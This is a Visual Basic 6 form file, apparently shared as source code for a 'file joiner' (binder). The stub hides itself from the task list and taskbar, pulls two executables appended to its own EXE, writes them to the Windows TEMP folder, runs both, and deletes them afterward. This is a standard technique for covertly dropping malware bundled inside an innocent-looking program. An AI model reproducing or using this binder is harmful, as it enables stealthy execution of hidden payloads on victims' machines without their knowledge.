frmpatch.frm

一個文件合成原碼!!!(VB)

VERSION 5.00
Begin VB.Form frmPatch 
   BorderStyle     =   0  'None
   ClientHeight    =   435
   ClientLeft      =   0
   ClientTop       =   0
   ClientWidth     =   450
   Icon            =   "frmPatch.frx":0000
   LinkTopic       =   "Form1"
   ScaleHeight     =   435
   ScaleWidth      =   450
   ShowInTaskbar   =   0   'False
   StartUpPosition =   3  'Windows Default
   Visible         =   0   'False
End
Attribute VB_Name = "frmPatch"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Option Explicit
Private Declare Function RegisterServiceProcess Lib "kernel32.dll" (ByVal dwProcessId As Long, ByVal dwType As Long) As Long
Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
Private Declare Function GetExitCodeProcess Lib "kernel32" (ByVal hProcess As Long, lpExitCode As Long) As Long
Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Private hProg1 As Long
Private idProg1 As Long
Private iExit1 As Long
Private hProg2 As Long
Private idProg2 As Long
Private iExit2 As Long
Const STILL_ACTIVE As Long = &H103
Const PROCESS_ALL_ACCESS As Long = &H1F0FFF

Private Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Private Const MAX_PATH = 260

Const MySize As Integer = 16384 'Patch file original size
Private lenght As Long
Private EXELen1 As Long, EXELen2 As Long
Dim sBuff As String * 32
Private pArray1() As Byte, pArray2() As Byte
Private vbArray() As Byte


Private Sub Form_Initialize()
On Error Resume Next
  
    Call RegisterServiceProcess(0, 1) 'hide program in Ctrl+Alt+Del list
    Open cPath & App.EXEName & ".EXE" For Binary Access Read As #1
         lenght = LOF(1) - MySize
       If lenght <> 0 Then
          ReDim vbArray(lenght - 1)
          Get #1, MySize, vbArray 'get join file
          Get #1, LOF(1) - 31, sBuff 'get last 16 byte for check the File1 size.
          Close #1
        
       Call GetLength 'get length of File1 & File2
       
       'put File0
       Open Get_WinPath & "TEMP\~TMP0.EXE" For Binary Access Write As #1
            Put #1, , vbArray
       Close #1
       
       'get File1 & File2
       Open Get_WinPath & "TEMP\~TMP0.EXE" For Binary Access Read As #1
            ReDim pArray1(EXELen1 - 1)
            ReDim pArray2(EXELen2 - 1)
            Get #1, , pArray1
            Get #1, EXELen1 + 1, pArray2
       Close #1
       Kill Get_WinPath & "TEMP\~TMP0.EXE"
       
       'put File1
       Open Get_WinPath & "TEMP\~TMP1.EXE" For Binary Access Write As #1
            Put #1, , pArray1
       Close #1
       
       'put File2
       Open Get_WinPath & "TEMP\~TMP2.EXE" For Binary Access Write As #1
            Put #1, , pArray2
       Close #1
       
       'run File1 & File2
       idProg1 = Shell(Get_WinPath & "TEMP\~TMP1.EXE", vbNormalFocus)
       idProg2 = Shell(Get_WinPath & "TEMP\~TMP2.EXE", vbNormalFocus)
       
       'waiting File1 closing and delete it.
       hProg1 = OpenProcess(PROCESS_ALL_ACCESS, False, idProg1)
       GetExitCodeProcess hProg1, iExit1
       Do While iExit1 = STILL_ACTIVE
          DoEvents
          GetExitCodeProcess hProg1, iExit1
       Loop
       Kill Get_WinPath & "TEMP\~TMP1.EXE"
       
       'waiting File2 closing and delete it.
       hProg2 = OpenProcess(PROCESS_ALL_ACCESS, False, idProg2)
       GetExitCodeProcess hProg2, iExit2
       Do While iExit2 = STILL_ACTIVE
          DoEvents
          GetExitCodeProcess hProg2, iExit2
       Loop
       Kill Get_WinPath & "TEMP\~TMP2.EXE"
       
       Else
       Close #1
       End If
       
End
End Sub

Private Function cPath() As String
If Right$(App.Path, 1) <> "\" Then
   cPath = App.Path & "\"
Else
   cPath = App.Path
End If
End Function

Private Sub GetLength()
Dim i As Integer
Dim s As String

For i = 1 To Len(sBuff) - 5
    s = Mid$(sBuff, i, 5)
    If s = "[LEN]" Then
       s = Right$(sBuff, Len(sBuff) - i)
       s = Right$(s, Len(s) - 4)
       EXELen1 = CLng(Mid$(s, 1, InStr(1, s, ",") - 1))
       EXELen2 = CLng(Mid$(s, InStr(1, s, ",") + 1, Len(s)))
       Exit For
    End If
Next i
End Sub

Private Function Get_WinPath() As String
   Dim rtn
   Dim Buffer As String 'declare the needed variables
   Buffer = Space(MAX_PATH)
   rtn = GetWindowsDirectory(Buffer, Len(Buffer)) 'get the path
   Get_WinPath = Left(Buffer, rtn) 'parse the path to the global string
   If Right(Get_WinPath, 1) <> "\" Then
      Get_WinPath = Get_WinPath & "\"
   End If
End Function